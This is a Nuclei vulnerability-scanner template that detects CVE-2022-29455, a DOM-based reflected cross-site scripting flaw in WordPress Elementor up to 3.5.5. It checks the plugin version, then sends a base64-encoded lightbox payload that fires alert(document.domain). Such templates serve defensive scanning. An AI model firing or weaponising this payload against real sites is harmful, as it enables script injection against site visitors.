nuclei-templates/cves/2022/CVE-2022-29455.yaml

id: CVE-2022-29455

info:
  name: Wordpress Elementor <= 3.5.5 - DOM-based Reflected Cross-Site Scripting
  author: rotembar
  severity: medium
  description: |
    DOM-based Reflected Cross-Site Scripting (XSS) vulnerability in Elementor's Elementor Website Builder plugin <= 3.5.5 versions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29455
    - https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor
    - https://www.rotem-bar.com/elementor
    - https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-5-5-unauthenticated-dom-based-reflected-cross-site-scripting-xss-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29455
    cwe-id: CWE-79
  metadata:
    verified: "true"
  tags: cve,cve2022,xss,wordpress,elementor

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js"
      - "{{BaseURL}}/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoidmlkZW8iLCJ1cmwiOiJodHRwOi8vIiwidmlkZW9UeXBlIjoiaG9zdGVkIiwidmlkZW9QYXJhbXMiOnsib25lcnJvciI6ImFsZXJ0KGRvY3VtZW50LmRvbWFpbikifX0="

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
        internal: true

      - type: kval
        kval:
          - version

    req-condition: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body_1
        regex:
          - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"

      - type: dsl
        dsl:
          - compare_versions(version, '<= 3.5.5') && status_code_1 == 200 && status_code_2 == 200